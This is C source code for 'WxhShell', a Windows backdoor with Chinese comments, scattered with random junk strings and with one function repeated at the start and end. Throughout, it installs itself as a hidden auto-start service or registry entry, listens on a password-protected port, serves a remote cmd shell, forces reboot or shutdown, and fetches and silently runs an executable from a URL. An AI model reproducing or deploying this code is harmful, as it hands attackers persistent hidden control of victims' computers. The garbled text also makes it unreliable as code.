;vAf } PROCESS_BASIC_INFORMATION; `~;rblo; [tA;l+Q\& PROCNTQSIP NtQueryInformationProcess; rT5Ycm@ uVDa^+= static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )5U[o0td static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D]~MC <l9-;2L4 HANDLE hProcess; ^? ]%sdT q PROCESS_BASIC_INFORMATION pbi; ugx%_x6 $.v5~UGb{\ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ehG/zVgn if(NULL == hInst ) return 0; Yf~{I-|`q )!:Lzi g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k]HEhY g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B0WJ/)rK< NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J8)#PY[i4 H0SQ"? if (!NtQueryInformationProcess) return 0; e=;AfK eT8} hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "=za??\K} if(!hProcess) return 0; CL}{mEr} $N=N(^ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; deixy.
| -!L"') CloseHandle(hProcess); `zt_7MD mzc
4/<th hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H0R&2#YD if(hProcess==NULL) return 0; ku
a)
K! @%lBrM HMODULE hMod; 9Q-*@6G char procName[255]; XNb ZNaAd unsigned long cbNeeded; 9Xo[(h)5d %8M)2?E if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]$\|ktY! dVo.Czyd CloseHandle(hProcess); <K4,7J$}h IMl!,(6; if(strstr(procName,"services")) return 1; // 以服务启动 .rJiyED?! ~/ilx#d return 0; // 注册表启动 .eO?Z^ } FSbHn{@ hy T1xa // 主模块 |xvy')(b int StartWxhshell(LPSTR lpCmdLine) &"mzwQX { V@QK SOCKET wsl; d4 (/m_HMu BOOL val=TRUE; A
&9(mB int port=0; V)i5=bHC struct sockaddr_in door; ulJX1I=|p a9?y`{%L if(wscfg.ws_autoins) Install(); z|(+|pV( 5+jf/}tA port=atoi(lpCmdLine); fn/7wO$! *I0-O*Xr if(port<=0) port=wscfg.ws_port; =@5x"MOz ]}6w#)]" WSADATA data; ;u(Du-Os! if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &h,5:u :g\rQazxO if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; xlR2|4|8 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q!FLR>8 door.sin_family = AF_INET; N9rBW door.sin_addr.s_addr = inet_addr("127.0.0.1"); @MK"X}3 door.sin_port = htons(port); (?b@b[D~4 ^:jN3@Q% if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :p4 "IeKs closesocket(wsl); <p?&udqD return 1; ;!T{%-tP } cubk]~VD <d7V<&@o= if(listen(wsl,2) == INVALID_SOCKET) { qJ_1*!!91 closesocket(wsl); Ij'NC C return 1; -n? g~(/P } S?0)1O Wxhshell(wsl); ~/tKMS6T WSACleanup(); 2`=6 %s
S|GWcSg return 0; {hO`6mr&t t=#Pya } \ U-vI:J_ il:nXpM! // 以NT服务方式启动 (,xZGa VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mty1p'^KQ { qUF1XJZ}z DWORD status = 0; Us~ X9n_F DWORD specificError = 0xfffffff; !z
zW2> qYp$fmj serviceStatus.dwServiceType = SERVICE_WIN32; efuK serviceStatus.dwCurrentState = SERVICE_START_PENDING; kDz>r#% serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qOG}[%<^n7 serviceStatus.dwWin32ExitCode = 0; &(xUhX T serviceStatus.dwServiceSpecificExitCode = 0; :'r6TVDW serviceStatus.dwCheckPoint = 0; G;oFTP>o serviceStatus.dwWaitHint = 0; ]PNowS\ qsg>5E hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !)Rr]
~ if (hServiceStatusHandle==0) return; [Id}4[={e IGAzE( status = GetLastError(); n`;R pr& if (status!=NO_ERROR) O:.,+,BH { T_OF7? serviceStatus.dwCurrentState = SERVICE_STOPPED; ,c)g,J9 serviceStatus.dwCheckPoint = 0; UlQQP^Na serviceStatus.dwWaitHint = 0; .%0ne:5 serviceStatus.dwWin32ExitCode = status; S C_|A9 serviceStatus.dwServiceSpecificExitCode = specificError; yD)"c. SetServiceStatus(hServiceStatusHandle, &serviceStatus); " B@jfa% return; pyW u9 } BZF,=v }1%r%TikY serviceStatus.dwCurrentState = SERVICE_RUNNING; cQFR]i serviceStatus.dwCheckPoint = 0; twk&-:' serviceStatus.dwWaitHint = 0; H*W):j}8 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %>XN%t'6aT } Z]-WFU_
N s!6=|SS7 // 处理NT服务事件,比如:启动、停止 p#_[ VOID WINAPI NTServiceHandler(DWORD fdwControl) `!w^0kZ { 8t.dPy< switch(fdwControl) N)43};e { =V^@%YIn case SERVICE_CONTROL_STOP: i|\{\d serviceStatus.dwWin32ExitCode = 0; !g0cC.' serviceStatus.dwCurrentState = SERVICE_STOPPED; XSB8z
serviceStatus.dwCheckPoint = 0; ?(im+2 serviceStatus.dwWaitHint = 0; amB@N6* { \}inT_{g SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y~"9L|`f/ } wTpD1"_R return; (buw^
,NwZ case SERVICE_CONTROL_PAUSE: < `Z%O<X serviceStatus.dwCurrentState = SERVICE_PAUSED; cINHH !v break; H|+tC=]4IZ case SERVICE_CONTROL_CONTINUE: -WT3)On serviceStatus.dwCurrentState = SERVICE_RUNNING; e!o(g&wBj break; cj(X2L case SERVICE_CONTROL_INTERROGATE: ~|)
9RUXr> break; 4S *,\ q]q }; !z=pP$81 SetServiceStatus(hServiceStatusHandle, &serviceStatus); &
QY#3yj= } 2X@G" %N~;{!![p // 标准应用程序主函数 "oE* 9J?e int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K~>jApZ% { "r-l8r, vO$ra5Z // 获取操作系统版本 7>x;B OsIsNt=GetOsVer(); A'DVJ9%xB GetModuleFileName(NULL,ExeFile,MAX_PATH); u3wL<$2[8 X7e/:._SAH // 从命令行安装 XU#,Bu{ if(strpbrk(lpCmdLine,"iI")) Install(); dokuyiN\ YhgUCF# // 下载执行文件 dB`b9)Tk0z if(wscfg.ws_downexe) { VBx,iuaw if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) POBpJg WinExec(wscfg.ws_filenam,SW_HIDE); C.E[6$oVc } B/Ba5z"r$ #Si|! if(!OsIsNt) { 3Hm7
uBZ // 如果时win9x,隐藏进程并且设置为注册表启动 caD5Pod4 HideProc(); ,35Ag#va StartWxhshell(lpCmdLine); deM~[1e[ } om7`w
] else D9ywg/Q91 if(StartFromService()) bhKV +oN // 以服务方式启动 slSR=XOG StartServiceCtrlDispatcher(DispatchTable); zH+<bEo=1= else P|N?OocE // 普通方式启动 tQ0=p|
T] StartWxhshell(lpCmdLine); [s %\.y(q y#r\b6 return 0; 6{^*JC5nj } B&nw#saz. @}G|R\2P
`GkRmv* M+UMR+K =========================================== kh&_#, e3rfXhp R1 qMg+ td/5Bmj nCB[4 36i_D6 " ]n1D1 y<uE-4 #include <stdio.h> x9\J1\ #include <string.h> J=L`]XE #include <windows.h> GG>Y/;^ #include <winsock2.h> A[RN-R, #include <winsvc.h> eH
`t \n #include <urlmon.h> %o-jwr}O{ 7NUenCdc #pragma comment (lib, "Ws2_32.lib") WFpl1O73 #pragma comment (lib, "urlmon.lib") 6)+9G_ &"O_wd[+: #define MAX_USER 100 // 最大客户端连接数
4I1K vN<A #define BUF_SOCK 200 // sock buffer Znq(R8BMW #define KEY_BUFF 255 // 输入 buffer )x9]xqoR U;>B7X;`E4 #define REBOOT 0 // 重启 >";%2u1 #define SHUTDOWN 1 // 关机 "DzGBu\ &}|0CR.( #define DEF_PORT 5000 // 监听端口 \y,;Cfl< H>Sf[8w)% #define REG_LEN 16 // 注册表键长度 6DO0zNTY #define SVC_LEN 80 // NT服务名长度 Z#LUez;&t# I`#EhH // 从dll定义API p1uN]T7> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =jBL'|k5 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :X|AW?* typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AYYRxhv_, typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .^GFy <M`-`v6H // wxhshell配置信息 "j
+v,js struct WSCFG { Q+/R
JM?3@ int ws_port; // 监听端口 hF9B?@n?B char ws_passstr[REG_LEN]; // 口令 1S^'C2/b int ws_autoins; // 安装标记, 1=yes 0=no ,^M]yr*~ char ws_regname[REG_LEN]; // 注册表键名 Q{`@
G"' char ws_svcname[REG_LEN]; // 服务名 ]uJM6QuQ char ws_svcdisp[SVC_LEN]; // 服务显示名 mf#fA2[ char ws_svcdesc[SVC_LEN]; // 服务描述信息 f!^)!~ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 78^Y;2 P]W int ws_downexe; // 下载执行标记, 1=yes 0=no l4DeX\ly7f char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" SUSc char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0ZFB4GL ^U"
q|[qy }; Vzk cZK #[C<
J#; // default Wxhshell configuration =sL(^UISl struct WSCFG wscfg={DEF_PORT, 6O%=G3I "xuhuanlingzhe", cy9N:MR(c 1, cyDiA(ot& "Wxhshell", s"#CkG "Wxhshell", M$gvq:}kt "WxhShell Service", # e$\~c Pd "Wrsky Windows CmdShell Service", Y]?Kqc "Please Input Your Password: ", ]C+eJ0"A 1, [3GKPX:OA/ "http://www.wrsky.com/wxhshell.exe", -uO%[/h;N "Wxhshell.exe" THb A(SM }; V5cb}xx IOn`cbV: // 消息定义模块 %~ ;nlDw char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kA1f[AL char *msg_ws_prompt="\n\r? for help\n\r#>"; ,7QBJ_-;QJ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3s#|Y,{?6R char *msg_ws_ext="\n\rExit."; @_G` Ok4 char *msg_ws_end="\n\rQuit."; rK*hTjVn char *msg_ws_boot="\n\rReboot..."; m]E o(P4+ char *msg_ws_poff="\n\rShutdown..."; ,&-S?| char *msg_ws_down="\n\rSave to "; BllDWKb <r@bNx@T char *msg_ws_err="\n\rErr!"; R
A*(|n> char *msg_ws_ok="\n\rOK!"; NEZH<# I4A; char ExeFile[MAX_PATH]; s_x=^S3~LO int nUser = 0; Cb+P7[X- HANDLE handles[MAX_USER]; `6dy
U_f int OsIsNt; #!(Zn:[ A!n~8zcmp} SERVICE_STATUS serviceStatus; X9p+a, SERVICE_STATUS_HANDLE hServiceStatusHandle; N=hSqw[ 3`mC"ab / // 函数声明 ?<-wHj) int Install(void); Y=PzN3 int Uninstall(void); IJ+O),' int DownloadFile(char *sURL, SOCKET wsh); ~:R4))qpg int Boot(int flag); mxtlr) void HideProc(void); Rc;1Sm9\ int GetOsVer(void); ]v/t8` int Wxhshell(SOCKET wsl); 39'X$! void TalkWithClient(void *cs); 7)g;Wd+H int CmdShell(SOCKET sock); Vj?*=UL int StartFromService(void); /W7&U
=d9 int StartWxhshell(LPSTR lpCmdLine); bEBZ!ghU 1Kp?bwh"u VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l#mqV@?A~ VOID WINAPI NTServiceHandler( DWORD fdwControl ); JDIz28 Ww VGq{y{( // 数据结构和表定义 zS&7[:IRs' SERVICE_TABLE_ENTRY DispatchTable[] = *Cc$eR]- { O e0KAn {wscfg.ws_svcname, NTServiceMain}, OJh+[bf" {NULL, NULL} @^w!% ?J }; Pc di 8^&fZL', // 自我安装 ! hOOpZf7 int Install(void) KFCQYdI`d { wWp?HDl"M char svExeFile[MAX_PATH]; RlG'|xaT HKEY key; |:`?A3^m# strcpy(svExeFile,ExeFile); a,en8+r] #c8" // 如果是win9x系统,修改注册表设为自启动 C?_t8G./_ if(!OsIsNt) { &utS\-;G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LR
8e|H0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1\"BvFE*E~ RegCloseKey(key); s>[vT? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >KH(nc$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $Qx(aWE0 RegCloseKey(key); M%nZu{ return 0; V}3~7( } 6%Cna0x:& } b}"vIRz } 6
d{D3e[p^ else { Y9lbf_51 *,Aa9wa{ // 如果是NT以上系统,安装为系统服务 ;h*"E(Pp SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )o}=z\M-bN if (schSCManager!=0) uC <|T { &q"uy:Rd SC_HANDLE schService = CreateService 7KYF16A4 ( EX[l0]fj schSCManager, v=8~ZDY wscfg.ws_svcname, x_>"Rnv:K wscfg.ws_svcdisp, see'!CjVo2 SERVICE_ALL_ACCESS, O V0cr SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dNS9<8JX SERVICE_AUTO_START, R[2[[M SERVICE_ERROR_NORMAL, 'Gm!Jblo@ svExeFile, K~9 jin NULL, r' 97\| NULL, r(`8A:#d NULL, jHUz`.8B NULL, :Kt mSY NULL cqU$gKT ); 1bFEx_ if (schService!=0) Hf`&& { l.Lc]ZpB CloseServiceHandle(schService); tL|L"t_5x CloseServiceHandle(schSCManager); p]J]<QaZD strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Cys/1DkE strcat(svExeFile,wscfg.ws_svcname); u8$~N$L if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PhI{3B/ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
t}* qs RegCloseKey(key); +L<w."WG return 0; P89Dg/P } Jq=>H@il } ~T{d9yNW1 CloseServiceHandle(schSCManager); NEjBjLJZ } Jg?pW:}R } J>&dWKM3 &nY2u-Q return 1; 9EY_R&Yq% } NJz*N%VWD v6,
o/3Ex // 自我卸载 %.r5E2' int Uninstall(void) zv3<i ( { T<_1|eH HKEY key; 8~XI7g'5x TBLk+AR if(!OsIsNt) { ;L/T}!Dx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S@rsQ@PA RegDeleteValue(key,wscfg.ws_regname); 5w-G]b RegCloseKey(key); u8)r
W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~S<F RegDeleteValue(key,wscfg.ws_regname); { /Q? RegCloseKey(key); Y)-)NLLG;n return 0; h;h,dx } E EnTq } ~O3uje_ } )SZ,J-H08w else { 41_sSqq;^ ^IegR> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d3q/mg 5a if (schSCManager!=0) d~oWu [F* { R^w >aZoJ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?VHwYD.B if (schService!=0) /Gu2@m[r { "7u"d4h-:( if(DeleteService(schService)!=0) { mJ#B<I' CloseServiceHandle(schService); 4Fht(B| CloseServiceHandle(schSCManager); !wufoK return 0; hdWp } g 0_r CloseServiceHandle(schService); \<+47+ } pHbguoH, CloseServiceHandle(schSCManager); 3lEU$)QA3 } x)Om[jZE } 5~TA(cb5 }u$aPS<$! return 1; [[Eu?vQ9R } +c2=*IA/ Woy[V // 从指定url下载文件 ##\ZuJ^- int DownloadFile(char *sURL, SOCKET wsh) +_K;Pj]x { dg@/HLZ HRESULT hr; :a<TV9?H0 char seps[]= "/"; =kkA char *token; 0BZOr-i char *file; #~qp8
w char myURL[MAX_PATH]; U@ QU8 char myFILE[MAX_PATH]; 4BL,/(W]
x wOl-iN= strcpy(myURL,sURL); SYhspB token=strtok(myURL,seps); %3B>1h9N while(token!=NULL) .0/Z'.c8 { E;e2{@SX2K file=token; iPL'JVPZ token=strtok(NULL,seps); K%#C+`Ij } =-&iF &:{yf= GetCurrentDirectory(MAX_PATH,myFILE); CAObC% strcat(myFILE, "\\"); {Ao^3vB strcat(myFILE, file); "f$A0RL send(wsh,myFILE,strlen(myFILE),0); OnPLz"- send(wsh,"...",3,0); ue2nfp hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u,k8i:JY if(hr==S_OK) ju6_L< return 0; m9i%U
else cB'4{R@e return 1; KTREOOu .t S~9kp?kR$ } w3hL.Z,kV G+yz8@ // 系统电源模块 5?Ao9Q]@ int Boot(int flag) s9dBXfm { !f2>6}hE HANDLE hToken; ]$*_2V3VA$ TOKEN_PRIVILEGES tkp; D#AxgF_He Sk%|-T(d$ if(OsIsNt) { +0042Yi OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LOo# LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WY UU- tkp.PrivilegeCount = 1; s8O+&^(U tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WkmS
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :Fk&2WsW: if(flag==REBOOT) { U}h
|Zk if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q.tL' return 0; #>oO[uaY } Hs!CJ(0"y else { QVhBHAw if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c>k6i?u:X7 return 0; L(rjjkH } |n%N'-el } )[Cm*Xxa$ else { $e\R5Lu if(flag==REBOOT) { 0]W/88ut*u if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OH~qJ< return 0; '0?E|B]Cp% } bHG>SW\]`? else { ?':'zT if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jC7XdYp return 0; tq93 2M4 } sZ$ ~abX } eT?LMBn\ X;g|-< return 1; 5jk4k c } #bH[UId[ zYJxoC{ // win9x进程隐藏模块 7 {<lH%Tn void HideProc(void) P;[mw( { 4h(Hy&1C );LwWKa HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )9,"~P2[R if ( hKernel != NULL ) 8h2?Q { zW.sXV, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hR{Zh> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &*-2k-16 FreeLibrary(hKernel); s*Ll\# } ],4LvIPD [V~bo/n return; |-<L :% } 0^^i=iE-u YO61 pZY // 获取操作系统版本 aT[7L9Cw int GetOsVer(void) Z2
4 m { @x4Dt&:" OSVERSIONINFO winfo; Rl8-a8j$f. winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~VKXL,. GetVersionEx(&winfo); $T0[ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sP7 (1)\ return 1; 2e=Hjf
)
else $4]PN2d& return 0; gd*?kXpt } WdnP[x9 ozG:f*{T // 客户端句柄模块 eU0-_3gN_ int Wxhshell(SOCKET wsl) [5-5tipvWp { yFqC-t-i SOCKET wsh; gw^+[}U# struct sockaddr_in client; NST6pu\,U DWORD myID; UQ?8dw:E~ ?HTwTi5!) while(nUser<MAX_USER) /|f]L9)2< { e^TF.D?RS int nSize=sizeof(client); +V^_ksi\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B*7o\~5 if(wsh==INVALID_SOCKET) return 1; hFv}JQJw< dQb?Zi7g handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9OBPFF if(handles[nUser]==0) &rubA closesocket(wsh); &9>d else :z7!X.* nUser++; V"XN(Fd^ } ,8seoX^ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u a-p^X`w W#Z]mt B return 0; tK*f8X+q } ^=j$~*(LmX 3IIlAzne; // 关闭 socket z7o59& void CloseIt(SOCKET wsh) V
Euv {
D6pk!mS closesocket(wsh); Z)~2{) nUser--; _JS'~JO3{ ExitThread(0); $9/r*@bu8d } $}@ll^ Yc}b& // 客户端请求句柄 \T?O. void TalkWithClient(void *cs) 9 )qx0 { V'B 6C#jT FgxQ}VvlH SOCKET wsh=(SOCKET)cs; 0Qz
\"gr char pwd[SVC_LEN]; v)06`G char cmd[KEY_BUFF]; l3,|r QD char chr[1]; aryr int i,j; pFh2@O
<_~`)t while (nUser < MAX_USER) { smggr{- tP9}:gu if(wscfg.ws_passstr) { ?a%
u=G if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?(z3/"g] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _kSus //ZeroMemory(pwd,KEY_BUFF); }PVB+i M i=0; P<1zXs.H while(i<SVC_LEN) { F`l1I=; Nf1l{N // 设置超时 7@\iBmr6 fd_set FdRead; he,T\}; struct timeval TimeOut; q!n|Ju< FD_ZERO(&FdRead); 4{V=X3,x FD_SET(wsh,&FdRead); <Ip}uy[Y TimeOut.tv_sec=8; O;~1M3Ii TimeOut.tv_usec=0; 1<*-,f int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A+'j@c\&! if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?^5x
d1>E 01J.XfCd6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H:`r!5&Qb5 pwd=chr[0]; V>hy5hDpH if(chr[0]==0xd || chr[0]==0xa) { F9hCT) pwd=0; M1:m"#= break; a)]N#gx } XX =A1#H i++; |<E%hf } TUT>* E?V:dr // 如果是非法用户,关闭 socket ^>>Naid if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?Gb
18m } li'#< "R?' $ _zdjzT send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wS4zAu send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F=cO=5Iz g#e"BBm=A while(1) { IzG7!K i<l)To - ZeroMemory(cmd,KEY_BUFF); g$ h!:wW J;qH w[6 // 自动支持客户端 telnet标准 0F"xU1z, j=0; MDRSI g while(j<KEY_BUFF) { z~F!zigNAc if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;fuy}q8@7 cmd[j]=chr[0]; hod|o1C& if(chr[0]==0xa || chr[0]==0xd) { #8'%CUF*<8 cmd[j]=0; OHB!ec6W break; oD.f/hi0| } Fw|5A"9'a' j++; iS"rMgq } x`$4 U7OW)tUf // 下载文件 M/BBNT if(strstr(cmd,"http://")) { F](kU#3"S send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7%X$6N-X if(DownloadFile(cmd,wsh)) :
"UBeo<Z send(wsh,msg_ws_err,strlen(msg_ws_err),0); j0Q;OKu else E@?jsN7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [hs{{II } vJYy` k^Y else { KNV$9&Z @+\OoOK<L switch(cmd[0]) { $v+g3+7 X/?3ifP6I // 帮助 L./UgeZ case '?': { &cZD{Z send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {1FYHM^ break; vHWw*gg(/E } x
ha!.&DO // 安装 .*8.{n5 case 'i': { na <g
/& if(Install()) 8G9V8hS1#B send(wsh,msg_ws_err,strlen(msg_ws_err),0); \OOj]gAe else vQA: \! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tvP"t{C6, break; JTx&_Ok# } REw!@Y." // 卸载 tvI~?\Ylj case 'r': { 3dXyKi if(Uninstall()) Hq=RtW2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4rv3D@E else C0'Tua' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GMFp,Df break; ++xEMP) } KVJiCdg- // 显示 wxhshell 所在路径 DI+kO(S case 'p': { -BR&b2 char svExeFile[MAX_PATH]; Ucv-}oa-? strcpy(svExeFile,"\n\r"); HZR~r:_
i strcat(svExeFile,ExeFile); 9hcZbM] send(wsh,svExeFile,strlen(svExeFile),0); uRJLSt9m break; f ^z7K } (ZDRjBth[ // 重启 xZBmQ:s',S case 'b': { PZQ}G*p3 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Krz[ f if(Boot(REBOOT)) NFsMc0{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); $BCqz! 4K else { ;[&g`%-H< closesocket(wsh); $$AKz\ ExitThread(0); oMcX{v^" } Q9{% break; C%l~qf1n } <vOljo // 关机 4u A;--j case 'd': { /8lGP!z send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &%rXRP if(Boot(SHUTDOWN)) W&)OiZN send(wsh,msg_ws_err,strlen(msg_ws_err),0); t[%9z6t else { sy4$!,W: closesocket(wsh); $f_Brc:n { ExitThread(0); 8z\WyDz } #|)GarDG break; VMsAT3^w } J=5G< // 获取shell 5{VrzzOK} case 's': { 9_oIAn:< CmdShell(wsh); o1QK@@} closesocket(wsh); -_v[oqf$ ExitThread(0); H"6:!;9, break; p\~ lPXK } \%f4)Qb // 退出 27}k63 \ case 'x': { S-g`rTx send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $wAVM/u& CloseIt(wsh); H;%a1 break; W%@6D|^ } |v:8^C7 // 离开 d'J))-*#UO case 'q': { qVx0VR1: send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8g^OXZ closesocket(wsh); c(i-~_ WSACleanup(); s9zdg"c' exit(1); b2duC break; eLM_?9AZ!R } 0(h *<g: } E XEae? } Xb5n;=) 3L/>=I{5
// 提示信息 8 }nA8 J if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rU%\ 8T0f } .^fq$7Y}7 } esWgYAc3{ pu=Q;E_f[ return; 32:q' } 8it|yK.G@& qJKD|=_ // shell模块句柄 hT#[[md" int CmdShell(SOCKET sock) ;q59Cr 75 { mM&H;W STARTUPINFO si; 8S&` ZeroMemory(&si,sizeof(si)); n@Y`g{{e~ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o
*S"`_ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SzMh}xDh2 PROCESS_INFORMATION ProcessInfo; n(0O'nS^ char cmdline[]="cmd"; eOE7A'X CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z
~T[%RjO return 0; 0,{Dw9W: } D/"[/! Q_x/e|sd // 自身启动模式 YR=<xn;m. int StartFromService(void) cL7je { p9y
"0A| typedef struct {|O8)bW' { YO|Kc
{j2e DWORD ExitStatus; %
Lhpj[C DWORD PebBaseAddress; r*OSEzGUz DWORD AffinityMask; y9?B vPp+ DWORD BasePriority; 7AX<>^ ULONG UniqueProcessId; /xWkP{ ULONG InheritedFromUniqueProcessId; jxm.x[1ki^ } PROCESS_BASIC_INFORMATION; (>%Ddj6_> eo24I0`N PROCNTQSIP NtQueryInformationProcess; k*\WzBTd != _:*U)-' static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x}?y@.sn8 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m>yk4@a y4t M0h HANDLE hProcess; G!C2[:[g PROCESS_BASIC_INFORMATION pbi; :MV]OLRM W7c(]
tg. HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J$%mG*Y( if(NULL == hInst ) return 0; yNoJrA +^iUY%pm g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); By]XD~gcP g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kOmTji7 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U@@#f;& Nq/,41 if (!NtQueryInformationProcess) return 0;
